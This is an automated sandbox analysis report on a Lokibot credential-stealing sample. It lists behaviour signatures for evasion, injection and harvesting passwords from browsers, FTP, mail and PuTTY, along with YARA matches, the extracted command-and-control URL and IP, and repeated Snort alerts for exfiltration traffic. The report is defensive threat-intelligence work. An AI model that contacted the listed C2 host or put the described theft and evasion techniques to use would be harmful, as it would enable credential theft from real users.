Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.20770

Overview

General Information

Sample Name:	SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.20770 (renamed file extension from 20770 to exe)
Analysis ID:	325825
MD5:	2aaa15e28835feda9a2e223d82db2126
SHA1:	2c4ace288456010a2717597b192827cd9f7ec771
SHA256:	e385b8f5946a41469f49fad4aaeb98e510e79afd0ba6c8546c7b6548da61b8e6
Tags:	Loki
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM_3

Yara detected Lokibot

.NET source code contains potential unpacker

Binary contains a suspicious time stamp

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w10x64

SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe (PID: 7108 cmdline: 'C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe' MD5: 2AAA15E28835FEDA9A2E223D82DB2126)

SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe (PID: 4852 cmdline: {path} MD5: 2AAA15E28835FEDA9A2E223D82DB2126)

cleanup

Malware Configuration

Threatname: Lokibot

{"c2:": "http://nevomw.com/candy/five/fre.php"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.480912778.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000002.607799523.0000000000E68000.00000004.00000020.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.476321253.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.452594690.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.363916312.00000000033BD000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x46e23:$des3: 68 03 66 00 00 0x4b220:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x4b2ec:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000003.549778212.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.546020230.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.414092067.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.491795139.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.562835408.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.563787570.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.481769783.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.474650127.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.477261856.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.529649981.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.480003007.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.485355648.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.479061979.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.446798245.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.450970355.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.490732616.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.446675906.0000000000E7D000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.519148526.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.472912647.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.565557733.0000000000E7D000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.517673183.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.396032754.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.560853517.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.419428408.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.535977726.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.486325651.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.493532930.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000000.00000002.363844302.0000000003341000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000003.533197865.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.420351505.0000000000E7D000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.532205941.0000000000E84000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.416818180.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000003.489824103.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.450013817.0000000000E7C000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000001.00000003.488133602.0000000000E85000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.364641317.0000000004341000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x22233f:$des3: 68 03 66 00 00 0x226730:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x2267fc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 7108	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe PID: 4852	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 53 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.2.SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 5 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe.4852.1.memstr

Malware Configuration Extractor: Lokibot {"c2:": "http://nevomw.com/candy/five/fre.php"}

Multi AV Scanner detection for domain / URL

Show sources

Source: nevomw.com	Virustotal: Detection: 10%			Perma Link
Source: http://nevomw.com/candy/five/fre.php	Virustotal: Detection: 12%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Virustotal: Detection: 39%			Perma Link
Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	ReversingLabs: Detection: 20%

Machine Learning detection for sample

Show sources

Source: SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe

Code function: 1_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

1_2_00403D74

Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 4x nop then jmp 07AC5FADh		0_2_07AC5F28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Heur.MSIL.Burkina.1.19357.exe	Code function: 4x nop then jmp 07AC5FADh		0_2_07AC5F38

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.6:49712 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49712 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49712 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.6:49712 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.6:49713 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49713 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49713 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.6:49713 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49714 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49714 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49714 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49714 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49714
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49715 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49715 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49715 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49715 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49715
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49716 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49716 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49716 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49716 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49716
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49717 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49717 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49717 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49717 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49717
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49718 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49718 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49718 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49718 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49718
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49720 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49720 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49720 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49720 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49720
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49721 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49721 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49721 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49721 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49721
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49722 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49722 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49722 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49722 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49722
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49723 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49723 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49723 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49723 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49723
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49724 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49724 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49724 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49724 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49724
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49725 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49725 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49725 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49725 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49725
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49726 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49726 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49726 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49726 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49726
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49727 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49727 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49727 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49727 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49727
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49728 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49728 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49728 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49728 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49728
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49729 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49729 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49729 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49729 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49729
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49730 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49730 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49730 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49730 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49730
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49731 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49731 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49731 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49731 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49731
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49732 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49732 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49732 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49732 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49732
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49733 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49733 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49733 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49733 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49733
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49734 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49734 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49734 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.6:49734 -> 45.144.3.234:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 45.144.3.234:80 -> 192.168.2.6:49734
